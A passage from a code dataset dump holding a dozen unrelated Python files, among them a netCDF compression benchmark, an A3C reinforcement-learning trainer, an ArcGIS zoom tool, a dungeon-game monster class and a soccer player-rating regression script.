traceback.print_exc()\n raise Exception\n except Exception as err:\n append_result(\"Failed to create instance.\", str(err))\n sys.exit(1)\n\n","sub_path":"infrastructure-provisioning/src/general/scripts/aws/common_prepare_notebook.py","file_name":"common_prepare_notebook.py","file_ext":"py","file_size_in_byte":6349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"598340753","text":"import unittest\nimport torch\nfrom numpy.testing import assert_equal\n\nif torch.cuda.is_available():\n from .voxel_cluster_gpu import voxel_cluster_gpu\n\n\nclass VoxelClusterGPUTest(unittest.TestCase):\n @unittest.skipIf(not torch.cuda.is_available(), 'no GPU')\n def test_voxel_cluster(self):\n position = [[-2, -2], [2, 2], [-1, -1], [1, 1], [-2, 2], [2, -2]]\n position = torch.cuda.FloatTensor(position)\n cluster_size = torch.cuda.LongTensor([2, 2])\n K = cluster_size.prod()\n cluster = voxel_cluster_gpu(position, cluster_size, K)\n\n expected_cluster = [0, 3, 0, 3, 2, 1]\n\n assert_equal(cluster.cpu().numpy(), expected_cluster)\n","sub_path":"torch_geometric/nn/functional/max_pool_voxel/voxel_cluster_gpu_test.py","file_name":"voxel_cluster_gpu_test.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"235441430","text":"# Imports\n\n\n# Bracketing Conditions\nclass InitialGradBracketing():\n \"\"\" Bracketing using only initial gradient and cost information. Is in a reducing direction. \"\"\"\n\n # Special Methods\n def __init__(self, options, expansion):\n \"\"\" Constructor. \"\"\"\n # Information\n self.name = \"Initial-Gradient\"\n self.information = [True, True, True, False, False, False]\n # Options\n self.options = options\n self.expansion = expansion\n\n def update(self, line, terminate):\n \"\"\" Brackets feasible solution. \"\"\"\n line.counter.begin_brac()\n # Initial Step\n line.trial.calc_cost()\n line.u_gets_x()\n # Check Termination\n if terminate.conditions(line):\n # Bracket (a_l, a_u) and Terminate\n return\n # Check Feasible Solutions\n elif not terminate.upper(line):\n # Bracket Feasible (a_l, a_u)\n return\n # Check Minimum Conditions\n elif terminate.lower(line) and line.upper.cost >= line.lower.cost:\n # Bracket Minimum (a_l, a_u)\n return\n # SOrt Out Middle Point\n else:\n # New Step\n line.new_trial(self.expansion(line, terminate))\n line.trial.calc_cost()\n line.mu_gets_ux()\n # Check Termination\n if terminate.conditions(line):\n # Bracket (a_m, a_u) and Terminate\n line.lmu_gets_mnu()\n return\n # Check Feasible Solutions\n elif not terminate.upper(line):\n # Bracket Feasible (a_m, a_u)\n line.lmu_gets_mnu()\n return\n # Check Minimum Conditions\n elif terminate.lower(line) and line.upper.cost >= line.middle.cost:\n # Bracket Minimum (a_l, a_m, a_u)\n return\n # Bracketing Loop\n while True:\n # New Step\n line.new_trial(self.expansion(line, terminate))\n line.trial.calc_cost()\n line.lmu_gets_mux()\n # Check Termination\n if terminate.conditions(line):\n # Bracket (a_m, a_u) and Terminate\n line.lmu_gets_mnu()\n return\n # Check Feasible Solutions\n elif not terminate.upper(line):\n # Bracket Feasible (a_m, a_u)\n line.lmu_gets_mnu()\n return\n # Check Minimum Conditions\n elif terminate.lower(line) and line.upper.cost >= line.middle.cost:\n # Bracket Minimum (a_l, a_m, a_u)\n return\n","sub_path":"linesearch/bracket/conditions/initial_grad_bracketing.py","file_name":"initial_grad_bracketing.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"220110422","text":"from math import *\nfrom envelopes.BrassEnv import *\nfrom instruments_synth.fmModulation import *\nfrom envelopes.woodEnv import *\nfrom audiolazy.lazy_midi import *\nimport matplotlib.pyplot as plt\n\n\ndef nicePlot(x,y,color,xlabel,ylabel, title):\n plt.plot(x, y, color=color)\n plt.title(title)\n plt.ylabel(ylabel)\n plt.xlabel(xlabel)\n plt.minorticks_on()\n plt.grid(which='major', linestyle='-', linewidth=0.2, color='black')\n plt.grid(which='minor', linestyle=':', linewidth=0.15, color='black')\n plt.show()\n\ndef getBrassTone(vel,f0,duration,fs):\n #parámetros configurables para clarinete:\n #------------------------------------\n fm = f0\n fc = f0\n\n A = brassToneEnv(duration, fs)\n\n y1, y2 = woodEnv(duration, fs)\n\n alpha = -2\n beta = 4\n\n #I = linScale(y2, alpha, beta)\n I = y1\n I *= 3\n phi_m = -pi/2\n phi_c = -pi/2\n\n # t = arange(0,duration,1/fs)\n # nicePlot(t,I,\"orange\",\"Tiempo(s)\",\"I(t)\",\"Gráfico de I(t) para el trombón\")\n\n x = fmModulation(A,I,fc,fm,phi_m,phi_c,duration,fs)\n return x\n","sub_path":"TP2/EJ2/instruments_synth/trombon.py","file_name":"trombon.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"214202183","text":"# benchmark reads and writes, with and without compression.\n# tests all four supported file formats.\nfrom numpy.random.mtrand import uniform\nimport netCDF4\nfrom timeit import Timer\nimport os, sys\n\n# use real data.\nURL=\"http://www.esrl.noaa.gov/psd/thredds/dodsC/Datasets/ncep.reanalysis/pressure/hgt.1990.nc\"\nnc = netCDF4.Dataset(URL)\n\n# use real 500 hPa geopotential height data.\nn1dim = 100\nn3dim = 73\nn4dim = 144\nntrials = 10\nsys.stdout.write('reading and writing a %s by %s by %s random array ..\\n'%(n1dim,n3dim,n4dim))\nsys.stdout.write('(average of %s trials)\\n\\n' % ntrials)\nprint(nc)\nprint(nc.variables['hgt'])\narray = nc.variables['hgt'][0:n1dim,5,:,:]\nprint(array.min(), array.max(), array.shape, array.dtype)\n\n\ndef write_netcdf(filename,complevel,lsd):\n file = netCDF4.Dataset(filename,'w',format='NETCDF4')\n file.createDimension('n1', None)\n file.createDimension('n3', n3dim)\n file.createDimension('n4', n4dim)\n foo = file.createVariable('data',\\\n 'f4',('n1','n3','n4'),\\\n zlib=True,shuffle=True,complevel=complevel,\\\n least_significant_digit=lsd)\n foo[:] = array\n file.close()\n\ndef read_netcdf(filename):\n file = netCDF4.Dataset(filename)\n data = file.variables['data'][:]\n file.close()\n\nlsd = None\nsys.stdout.write('using least_significant_digit %s\\n\\n' % lsd)\nfor complevel in range(0,10,2):\n sys.stdout.write('testing compression with complevel %s...\\n' % complevel)\n # writing.\n t = Timer(\"write_netcdf('test.nc',%s,%s)\" % (complevel,lsd),\"from __main__ import write_netcdf\")\n sys.stdout.write('writing took %s seconds\\n' %\\\n repr(sum(t.repeat(ntrials,1))/ntrials))\n # test reading.\n t = Timer(\"read_netcdf('test.nc')\",\"from __main__ import read_netcdf\")\n sys.stdout.write('reading took %s seconds\\n' %\n repr(sum(t.repeat(ntrials,1))/ntrials))\n # print out size of resulting files.\n sys.stdout.write('size of test.nc = %s\\n'%repr(os.stat('test.nc').st_size))\n\ncomplevel = 4\ncomplevel = 4\nsys.stdout.write('\\nusing complevel %s\\n\\n' % complevel)\nfor lsd in range(0,6):\n sys.stdout.write('testing compression with least_significant_digit %s..\\n'\\\n % lsd)\n # writing.\n t = Timer(\"write_netcdf('test.nc',%s,%s)\" % (complevel,lsd),\"from __main__ import write_netcdf\")\n sys.stdout.write('writing took %s seconds\\n' %\\\n repr(sum(t.repeat(ntrials,1))/ntrials))\n # test reading.\n t = Timer(\"read_netcdf('test.nc')\",\"from __main__ import read_netcdf\")\n sys.stdout.write('reading took %s seconds\\n' %\n repr(sum(t.repeat(ntrials,1))/ntrials))\n # print out size of resulting files.\n sys.stdout.write('size of test.nc = %s\\n'%repr(os.stat('test.nc').st_size))\n","sub_path":"examples/bench_compress3.py","file_name":"bench_compress3.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"555053834","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 12 16:12:22 2016\n\n@author: han\n\"\"\"\n# Binary classification with the log-likelihood maximum logistic regression\nimport numpy as np\nimport math\nfrom numpy.linalg import norm\nimport random\n\ndef load_data(file_name, delim = ','):\n fopen = open(file_name)\n temp_lines = [line.strip().split(delim) for line in fopen.readlines()]\n data_mat = np.array(temp_lines, np.float)\n feature_mat = data_mat[:,:-1]\n labels = data_mat[:,-1]\n \n return feature_mat, labels\n \n\ndef sub_gradient(x):\n x[x>=0]=1\n x[x<0]=-1\n return x\n \ndef gradient(x,y,beta):\n lamd = 0.1\n temp1 = sub_gradient(beta)\n temp2 = y*np.mat(beta)*np.transpose(np.mat(x))\n \n temp3 = math.exp(temp2) + 1\n \n return (-y*x)/temp3 + lamd*temp1\n \ndef obj_func(beta, feature_mat, labels):\n lamd = 0.1\n N = feature_mat.shape[0]\n temp_sum = 0\n for i in range(N):\n temp1 = (-labels[i])*np.mat(beta)*np.transpose(np.mat(feature_mat[i]))\n temp2 = 1 + math.exp(temp1)\n temp3 = math.log(temp2)\n temp_sum = temp_sum + temp3\n \n return temp_sum/N + lamd*norm(beta,1) \n \n \ndef error_rate(feature_mat, labels, beta):\n m = feature_mat.shape[0]\n result = np.zeros(m)\n for i in range(m):\n temp = np.mat(beta)*np.transpose(np.mat(feature_mat[i]))\n temp = float(temp)\n if temp>=0:\n result[i] = 1\n else:\n result[i] = -1\n error = labels - result\n error[error!=0] = 1\n return sum(error)/m\n \n\ndef sgd( train_feature, train_labels, test_feature, test_labels, k):\n m, d = np.shape(train_feature)\n beta = np.ones(d)/10\n train_func = []\n train_error = []\n test_error = []\n for i in range(20):\n data_index = list(range(m))\n for j in range(m):\n alpha = 4/(1+j+i) + 0.01\n rand_index = int(random.uniform(0,len(data_index)))\n \n beta = beta - alpha * gradient(train_feature[rand_index],train_labels[rand_index],beta)\n del(data_index[rand_index])\n \n# train_func.append( str(obj_func(beta,train_feature,train_labels)) +'\\n')\n# train_error.append( str(error_rate(train_feature, train_labels, beta)) + '\\n')\n# test_error.append( str(error_rate(test_feature, test_labels, beta)) + '\\n' )\n# \n \n \n \n \n print(obj_func(beta,train_feature,train_labels)) \n print(error_rate(train_feature, train_labels, beta))\n \n return train_func, train_error, test_error\n \n \n \n\nif __name__ == '__main__': \n k=100\n \n # dataset1 \n train_feature, train_labels = load_data('dataset1-a9a-training.txt')\n test_feature, test_labels = load_data('dataset1-a9a-testing.txt')\n \n train_func, train_error, test_error = sgd(train_feature, train_labels, test_feature, test_labels,k)\n \n file_object = open('task1_dataset1_train_func.txt', 'w')\n file_object.writelines(train_func)\n file_object.close( )\n \n file_object = open('task1_dataset1_train_error.txt', 'w')\n file_object.writelines(train_error)\n file_object.close()\n \n file_object = open('task1_dataset1_test_error.txt', 'w')\n file_object.writelines(test_error)\n file_object.close()\n \n \n \n \n \n ","sub_path":"assignment4/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"562980822","text":"# 王泽昊\n# 1700010718\n# 4 min\n# Computing 10.3\n\ndef list2dic_count(list1):\n assert isinstance(list1,list) #好像没学过怎么检查不变元素,所以此处没有检查这部分\n dic = {}\n for x in list1:\n count = 0\n dic[x] = dic.get(x,0) + 1\n return dic\n\nprint(list2dic_count([1,3,2,4,5,6,2,'apple',1,3,2,3,23,2323,1,3,2]))\nprint(list2dic_count(['asd','rerg','sfgojn','asoinrthbv','asdou','asd','asd']))\n","sub_path":"计算概论/作业/0524/10.2.py","file_name":"10.2.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"402575861","text":"# -*- coding: utf-8 -*-\nfrom collections import namedtuple\nfrom itertools import chain\nimport torch\nimport torch.multiprocessing as mp # Train a model asynchronously\nimport torch.nn.functional as functional\nimport matplotlib.pyplot as plt\nfrom torch.autograd import Variable\nfrom torch.optim import RMSprop\nfrom scheduler.drl.model import ActorCriticNetwork\n\n\nclass SharedRMSProp(torch.optim.RMSprop):\n \"\"\"\" The parameters in the optimizer will shared in the multiprocessors. \"\"\"\n def __init__(self, params, **args):\n super(SharedRMSProp, self).__init__(params, **args)\n for group in self.param_groups:\n for params in group['params']:\n state = self.state[params]\n state['step'] = 0\n state['exp_avg'] = torch.zeros_like(params.data)\n state['exp_avg_sq'] = torch.zeros_like(params.data)\n\n state['exp_avg'].share_memory_()\n state['exp_avg_sq'].share_memory_()\n\n\n# Asynchronous Advantage Actor-Critic (A3C)\ndef training(process_id, env, global_net, global_counter, global_data_recorder, global_optimizer,\n hyper_parameters=None):\n \"\"\" Train \"\"\"\n\n \"\"\" Reinforcement Learning Hyper-parameter:\n \n gamma: discount factor for rewards (default: 0.99)\n tau: GAE parameter (default: 1.00)\n \n entropy_coef: entropy term coefficient (default: 0.01)\n loss_coef: value loss term coefficient (default: 0.5)\n \n max_grad: max gradient value (default: 50)\n \n episode_num: maximum number of episode (default: 10000) \n step_num: maximum number of forward steps in an episode (default: 2000)\n \"\"\"\n\n config = namedtuple('Parameter', ['gamma', 'tau',\n 'entropy_coef', 'loss_coef',\n 'max_grad',\n 'step_num', 'episode_num',\n ])\n if not hyper_parameters:\n config = config._make([0.99, 1.00,\n 0.01, 0.5,\n 50,\n 20, 100000])\n\n print(\"Local Network %s is initialized. \" % process_id)\n\n local_net = ActorCriticNetwork()\n\n \"\"\" Initialize global shared counter T = 0. \"\"\"\n current_global_counter = global_counter\n max_global_counter = config.episode_num\n\n \"\"\" Initialize thread step counter t = 1. \"\"\"\n current_thread_counter = 1\n max_thread_counter = config.step_num\n\n \"\"\" [New worker]: Repeat until T > T_max \"\"\"\n while current_global_counter.value <= max_global_counter:\n\n \"\"\" Reset gradients of global Actor-Critic Network to zero. \"\"\"\n global_net.zero_grad()\n\n \"\"\" Synchronous thread-specific parameters from global network. \"\"\"\n local_net.load_state_dict(global_net.state_dict())\n\n \"\"\" t_start = t \"\"\"\n start_count = current_thread_counter\n\n \"\"\" Get state s_t \"\"\"\n state, _, is_done = env.reset()\n\n episode_reward_sum = 0\n\n # [Experience Replay] for R-value bootstrap below.\n estimated_value_buffer = []\n log_prob_buffer = []\n reward_buffer = []\n entropy_buffer = []\n\n \"\"\" [New Episode]: Repeat, until terminal state or t - t_start == t_max \"\"\"\n while current_thread_counter - start_count < max_thread_counter and not is_done:\n\n \"\"\" Perform action according to policy (ActorNet). \"\"\"\n action_logit_list, estimated_value = local_net(torch.Tensor(state))\n\n \"\"\" Calculate prob and log prob. \"\"\"\n prob = [functional.softmax(item, dim=0) for item in action_logit_list[0]]\n log_prob = [functional.log_softmax(item, dim=0) for item in action_logit_list[0]]\n\n \"\"\" Calculate entropy. \"\"\"\n prob_list, log_prob_list = list(chain(*prob)), list(chain(*log_prob))\n entropy = sum([prob_item * log_prob_item for prob_item, log_prob_item in zip(prob_list, log_prob_list)])\n\n \"\"\" Choose action. \"\"\"\n action = [item.multinomial(num_samples=1) for item in prob]\n log_prob = sum([item.gather(0, Variable(action_item)) for item, action_item in zip(log_prob, action)])\n action = [item.item() for item in action]\n\n \"\"\" Receive reward and new state. \"\"\"\n new_state, reward, is_done = env.step(action)\n\n # Store experience replay.\n estimated_value_buffer.append(estimated_value)\n log_prob_buffer.append(log_prob)\n reward_buffer.append(reward)\n entropy_buffer.append(entropy)\n\n episode_reward_sum += reward\n\n \"\"\" Update current state \"\"\"\n state = new_state\n\n \"\"\" Update global/thread counter\"\"\"\n with current_global_counter.get_lock():\n current_global_counter.value += 1\n current_thread_counter += 1\n # [End of while] terminal / t - t_start == t_max\n\n # Send simulation data to global data recorder.\n global_data_recorder.put(episode_reward_sum)\n\n \"\"\" Calculate R value of the last state. \"\"\"\n if current_thread_counter - start_count >= max_thread_counter:\n \"\"\" 1. R = V(s) (for non-terminal state s) // Bootstrap from last state \"\"\"\n _, target_value = local_net(state) # Critic Network V(s)\n target_value = target_value.item()\n else:\n \"\"\" 2. R = 0 (for terminal state s) \"\"\"\n target_value = 0\n\n # Store R value (target_value)\n target_value_replay = [target_value]\n\n \"\"\" From (t-1) to (t_start), calculate R value bootstrap. \"\"\"\n for reward in reversed(reward_buffer):\n target_value = reward + config.gamma * target_value\n target_value_replay.append(target_value)\n # [End of for] Calculate R value.\n\n # Reverse R value replay: from [t->0] to [0->t]\n target_value_replay.reverse()\n\n \"\"\" Calculate actor loss and critic loss \"\"\"\n actor_loss, critic_loss = 0, 0\n gae = torch.zeros(1, 1)\n\n for i in reversed(range(len(estimated_value_buffer))):\n # Advantage function: A(s,a) = R - V(s)\n advantage_value = target_value_replay[i] - estimated_value_buffer[i]\n\n # Generalized Advantage Estimation (GAE)\n delta = reward_buffer[i] + config.gamma * estimated_value_buffer[i-1] - estimated_value_buffer[i]\n gae = gae * config.tau * config.gamma + delta\n\n # critic loss\n critic_loss = critic_loss + 0.5 * advantage_value.pow(2)\n # actor loss\n actor_loss = actor_loss - log_prob_buffer[i] * Variable(gae) - config.entropy_coef * entropy_buffer[i]\n\n global_optimizer.zero_grad()\n\n \"\"\" Accumulate gradient wrt thread-parameter \"\"\"\n loss = actor_loss + config.loss_coef * critic_loss\n loss.backward(retain_graph=True)\n\n \"\"\" Gradient Clipping \"\"\"\n torch.nn.utils.clip_grad_norm_(local_net.parameters(), config.max_grad)\n\n \"\"\" Perform asynchronous update of global parameters. \"\"\"\n for local_params, global_params in zip(local_net.parameters(), global_net.parameters()):\n global_params._grad = local_params.grad\n\n global_optimizer.step()\n # [End of while] T > T_max\n\n\ndef visualize_result(data_list):\n plt.plot(data_list)\n plt.xlabel(\"Time Step\")\n plt.ylabel(\"Total reward\")\n plt.show()\n\n\ndef run(env):\n \"\"\" Run A3C code. \"\"\"\n\n \"\"\" Global Shared Network and Global Shared Optimizer, they share parameters in multiprocessing. \"\"\"\n global_net = ActorCriticNetwork()\n global_net.share_memory()\n global_optimizer = RMSprop(global_net.parameters(), lr=0.0001)\n # global_optimizer = SharedRMSProp(global_net.parameters(), lr=0.0001)\n\n \"\"\" Global Shared Counter and Global Shared Data Recorder \"\"\"\n global_counter = mp.Value('i', 0)\n global_data_recorder = mp.Queue()\n\n \"\"\" Parallel Training \"\"\"\n processes = []\n processes_num = 1\n\n for i in range(processes_num):\n p = mp.Process(target=training,\n args=(i, env, global_net, global_counter, global_data_recorder, global_optimizer))\n p.start()\n processes.append(p)\n\n for p in processes:\n p.join()\n\n \"\"\" Show simulation data\"\"\"\n global_data_recorder_list = [global_data_recorder.get() for _ in range(global_data_recorder.qsize())]\n visualize_result(global_data_recorder_list)\n","sub_path":"controller/scheduler/drl/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"2357505","text":"import arcpy\n\n#This tool uses to layers called MapIndex and Taxlot if your layers \n#do not match this then you should change the names. They are not \n#variables because that will really slow the application down. (I tried)\n\nclass ToolValidator(object):\n \"\"\"Class for validating a tool's parameter values and controlling\n the behavior of the tool's dialog.\"\"\"\n \n def __init__(self):\n \"\"\"Setup arcpy and the list of tool parameters.\"\"\"\n import arcpy\n self.params = arcpy.GetParameterInfo()\n\n def initializeParameters(self):\n \"\"\"Refine the properties of a tool's parameters.\n This method is called when the tool is opened.\"\"\"\n\n mapNumberList = []\n aprx= arcpy.mp.ArcGISProject(\"CURRENT\")\n Map = aprx.activeMap\n \"\"\"mapIndexLayer = Map.listLayers(self.params[4].value)[0]\"\"\"\n mapIndexLayer = Map.listLayers(\"MapIndex\")[0]\n mapIndexLayerDS = mapIndexLayer.dataSource\n with arcpy.da.SearchCursor(mapIndexLayerDS, \"mapnumber\") as cursor:\n for row in cursor:\n if row[0] not in mapNumberList:\n mapNumberList.append(row[0])\n mapNumberList.sort()\n self.params[0].filter.list = mapNumberList\n \n return\n \n def updateParameters(self):\n \"\"\"Modify the values and properties of parameters before internal\n validation is performed. This method is called whenever a parameter\n has been changed.\"\"\"\n\n def zoomToFeature(featureClass, whereExpression, aprx):\n with arcpy.da.SearchCursor(featureClass, [\"shape@\"], where_clause=whereExpression) as cursor:\n for row in cursor:\n theNewExtent = row[0].extent\n theActiveView = aprx.activeView\n theActiveView.camera.setExtent(theNewExtent)\n del cursor\n\n aprx = arcpy.mp.ArcGISProject(\"CURRENT\")\n Map = aprx.activeMap\n taxlotLyr= Map.listLayers(\"taxlot\")[1]\n taxlotLyrDS = taxlotLyr.dataSource\n\n\n ## If the Map Number parameter is alter this code is executed to provide the values list for parameter 2.\n if self.params[0].altered: \n taxlotList = [\" \"]\n whereClause = \"mapnumber ='\" + self.params[0].value + \"'\"\n with arcpy.da.SearchCursor(taxlotLyrDS, [\"mapnumber\",\"taxlot\"], where_clause=whereClause) as cursor:\n for row in cursor:\n if row[1] not in taxlotList:\n taxlotList.append(row[1])\n del cursor,row\n taxlotList.sort()\n self.params[1].filter.list = taxlotList \n if self.params[1].value not in taxlotList:\n self.params[1].value = \" \" \n if self.params[0].altered and self.params[2].value:\n \"\"\" mapIndexLayer = Map.listLayers(self.params[4].value)[0]\"\"\"\n mapIndexLayer = Map.listLayers(\"MapIndex\")[0]\n mapIndexLayerDS = mapIndexLayer.dataSource\n whereClause = \"mapnumber ='\" + self.params[0].value + \"'\"\n zoomToFeature(mapIndexLayerDS, whereClause, aprx)\n\t\t\t\t\n if self.params[1].altered and self.params[3].value and self.params[1].value:\n whereClause = \"mapnumber ='\" + self.params[0].value + \"' and taxlot ='\" + self.params[1].value + \"'\" \n zoomToFeature(taxlotLyrDS, whereClause, aprx)\n \n \n return\n \n def updateMessages(self):\n \"\"\"Modify the messages created by internal validation for each tool\n parameter. This method is called after internal validation.\"\"\"\n\n def isLicensed(self):\n \"\"\"Set whether tool is licensed to execute.\"\"\"\n return True","sub_path":"zoom_only_tool_ormap.py","file_name":"zoom_only_tool_ormap.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"178622135","text":"import os\nimport pytest\n\nfrom django.test import Client\n\nfrom betty.authtoken.models import ApiToken\n\n\nTEST_DATA_PATH = os.path.join(os.path.dirname(__file__), 'images')\n\n\n@pytest.mark.django_db\ndef test_user_creation(client):\n token = ApiToken.objects.create_standard_user()\n assert token.public_token is not None\n assert token.private_token is not None\n\n\n@pytest.mark.django_db\ndef test_search_api(client):\n token = ApiToken.objects.create_standard_user()\n client = Client()\n response = client.get(\n \"/images/api/search?q=testing\",\n HTTP_X_BETTY_API_KEY=token.public_token)\n assert response.status_code == 200\n","sub_path":"tests/test_auth.py","file_name":"test_auth.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"74517398","text":"from item import *\nimport random\n\nclass Monster(Item):\n \n def __init__(self,typ,name,begehbar,aufnehmbar,bild,werte):\n Item.__init__(self,typ,name,begehbar,aufnehmbar,bild,werte) # Wert der Waffe in Silbertalern\n self._kampfwerte = [werte[1],werte[2],werte[3]] # AT PA LeP\n self._tp = (werte[4],werte[5]) # Wuerfel, Additiver Schaden\n self._mod = (werte[6],werte[7]) # AT-Modifkator, PA-Modifikator\n self._rs = werte[8]\n self._ap = werte[9]\n self._itemtodrop = werte[10]\n\n def getkampfwerte(self):\n return self._kampfwerte\n \n def gettp(self):\n return self._tp\n\n def getmod(self):\n return self._mod\n\n def benutzen(self,held):\n heldaltle = held.getle()\n while held.getkampfwerte()[2]>0 and self._kampfwerte[2]>0:\n tp = 0\n heldle = 0\n # Held schlaegt zu\n if random.randint(1,20)<=held.getkampfwerte()[0]+held.getwaffe().getmod()[0] and random.randint(1,20)>self._kampfwerte[1]+self._mod[1]:\n tp = held.getwaffe().gettp()[1]\n for i in range(held.getwaffe().gettp()[0]):\n tp = tp + random.randint(1,6)\n if (tp - self._rs)>0:\n print('Treffer Monster: LE',self._kampfwerte[2],'TP',tp,'RS',self._rs) # Testausgabe\n self._kampfwerte[2] = self._kampfwerte[2] - (tp - self._rs)\n # Monster schlaegt zu\n if self._kampfwerte[2]>0 and random.randint(1,20)<=self._kampfwerte[0]+self._mod[0] and random.randint(1,20)>held.getkampfwerte()[1]+held.getwaffe().getmod()[1]:\n tp = self._tp[1]\n for i in range(self._tp[0]):\n tp = tp + random.randint(1,6)\n if (tp - held.getruestung().getrs())>0:\n heldle = held.getle() - (tp - held.getruestung().getrs())\n held.setle(heldle)\n print (self._kampfwerte[2],held.getle()) # Testausgabe\n # Monster verschwindet bei LE<0\n if self._kampfwerte[2]<=0:\n self._typ = 0\n self._name = ''\n self._begehbar = True\n self._aufnehmbar = False\n self._bild = 'gfx/blank.gif'\n self._werte = (0,)\n print(heldaltle,held.getle(),'also',heldaltle-held.getle())\n held.heilen(heldaltle-held.getle())\n held.addap(self._ap)\n if self._itemtodrop.gettyp()!=0:\n held.itemnehmen(self._itemtodrop)\n print(self._kampfwerte[2],held.getle()) # Testausgabe \n \n return held\n","sub_path":"source/monster.py","file_name":"monster.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"191111183","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 29 22:34:43 2018\r\n\r\n@author: 1000091\r\n\"\"\"\r\n#\r\nimport sqlite3\r\nimport pandas as pd\r\nfrom sklearn.tree import DecisionTreeRegressor\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.model_selection import cross_val_predict\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn import metrics\r\nfrom math import sqrt\r\n\r\nfrom matplotlib import pyplot as plt\r\n#################\r\n# My Jupyter notebook gived the error: hence writing it in Spyder\r\n#################\r\nimport seaborn as sns\r\n\r\ncnx = sqlite3.connect('database.sqlite')\r\ndf = pd.read_sql_query(\"SELECT * FROM Player_Attributes\", cnx)\r\n\r\nprint (df.head(5))\r\nprint (df.columns)\r\ndf.describe().transpose()\r\nprint (df.describe().transpose())\r\nprint(df.isnull().any())\r\ndf1 = df[df.overall_rating.isnull()]\r\nprint(df1.head(5))\r\n\r\n# droo the nulls\r\n\r\ndf = df[~df.overall_rating.isnull()]\r\n\r\nprint(df.isnull().any())\r\n\r\ndf[\"volleys\"].fillna(df[\"volleys\"].mean(),inplace=True)\r\ndf[\"curve\"].fillna(df[\"curve\"].mean(),inplace=True)\r\ndf[\"agility\"].fillna(df[\"agility\"].mean(),inplace=True)\r\ndf[\"balance\"].fillna(df[\"balance\"].mean(),inplace=True)\r\ndf[\"jumping\"].fillna(df[\"jumping\"].mean(),inplace=True)\r\ndf[\"vision\"].fillna(df[\"vision\"].mean(),inplace=True)\r\ndf[\"sliding_tackle\"].fillna(df[\"sliding_tackle\"].mean(),inplace=True)\r\n\r\n# Data to Numeric\r\n\r\nprint (df.preferred_foot.value_counts())\r\n\r\ndf['preferred_foot'] = df['preferred_foot'].map( {'right': 0, 'left': 1} ).astype(int)\r\n\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('_0','0')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('ormal','5')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('o','0')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('l0w','low')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('0','low')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('1','low')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('2','low')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('3','low')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('4','medium')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('5','medium')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('6','medium')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('7','high')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('8','high')\r\ndf['defensive_work_rate'] = df['defensive_work_rate'].str.replace('9','high')\r\n\r\nprint (df.defensive_work_rate.value_counts())\r\n\r\ndf = df[(df.defensive_work_rate == 'medium') | (df.defensive_work_rate == 'high') | (df.defensive_work_rate == 'low')]\r\n\r\n# Check for attacking work rate\r\ndf.attacking_work_rate.value_counts()\r\n\r\n# Change \"norm\" to \"medium\" and drop the rest having \"None\" and \"Null\" values.\r\n\r\ndf['attacking_work_rate'] = df['attacking_work_rate'].str.replace('norm','medium')\r\ndf = df[(df.attacking_work_rate == 'medium') | (df.attacking_work_rate == 'high') | (df.attacking_work_rate == 'low')]\r\n\r\nprint (df.head(50))\r\n\r\n# Categorical data to be nullified\r\ndf_dummified = pd.get_dummies(df,columns=['attacking_work_rate','defensive_work_rate'])\r\nprint (df_dummified.columns)\r\n\r\n# prepare X and Y data for regression\r\n\r\nX = df_dummified[['potential', 'preferred_foot', 'crossing', 'finishing',\r\n 'heading_accuracy', 'short_passing', 'volleys', 'dribbling', 'curve',\r\n 'free_kick_accuracy', 'long_passing', 'ball_control', 'acceleration',\r\n 'sprint_speed', 'agility', 'reactions', 'balance', 'shot_power',\r\n 'jumping', 'stamina', 'strength', 'long_shots', 'aggression',\r\n 'interceptions', 'positioning', 'vision', 'penalties', 'marking',\r\n 'standing_tackle', 'sliding_tackle',\r\n 'attacking_work_rate_high', 'attacking_work_rate_low',\r\n 'attacking_work_rate_medium', 'defensive_work_rate_high',\r\n 'defensive_work_rate_low', 'defensive_work_rate_medium']]\r\n\r\nY = 